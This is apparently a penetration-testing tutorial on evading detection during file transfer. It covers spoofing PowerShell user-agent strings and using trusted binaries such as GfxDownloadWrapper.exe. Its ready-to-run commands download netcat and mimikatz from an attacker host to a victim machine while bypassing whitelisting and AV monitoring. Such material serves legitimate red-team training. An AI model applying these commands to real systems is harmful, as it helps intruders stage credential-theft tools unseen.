Evade Detection

---

🕵️ Evading Detection – Blending in With the Crowd

Good attackers hide. Great ones blend in. If your transfer techniques are getting flagged, it’s time to get stealthy.

Let’s explore how to evade detection by:

• 🛠️ Modifying user agents

• 🥷 Leveraging LOLBins and GTFOBins

• 🤖 Using trusted binaries to download files

---

🦡 1. Changing User-Agent Strings

Many defenders watch for user-agents like curl/7.68.0, PowerShell/5.1.14393, or Microsoft BITS/7.8.

Luckily, PowerShell's Invoke-WebRequest supports custom User-Agent strings. 🎭

---

🧪 List Built-In PowerShell User Agents

[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

You’ll see options like:

• Chrome: Mozilla/5.0 ... Chrome/7.0.500.0

• Firefox: Gecko/20100401 Firefox/4.0

• Safari: AppleWebKit/533.16

---

🧠 Use a Fake Chrome User-Agent

$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

📡 The server will log:

User-Agent: Mozilla/5.0 ... Chrome/7.0.500.0 Safari/534.6

✅ Much less suspicious than WindowsPowerShell/5.1.

---

🧬 2. Living Off the Land – LOLBins & GTFOBins

When you're blocked from using PowerShell, Netcat, or external tools, turn to trusted system binaries — aka LOLBins 🪤

These are binaries that:

• ✅ Are pre-installed

• ✅ Are signed by the vendor

• ✅ Are trusted by application whitelisting solutions

---

⚙️ Example: GfxDownloadWrapper.exe

A legitimate Intel binary that can download files from the web:

GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

✅ May bypass application whitelisting ✅ Could be excluded from AV logging or monitoring ❗ Found only on machines with Intel drivers

---

🔗 Pro Resources

• 🪟 LOLBAS Project

• 🐧 GTFOBins Project

Tip: Use +file-download and +file-upload tags to discover binaries for your purpose.

---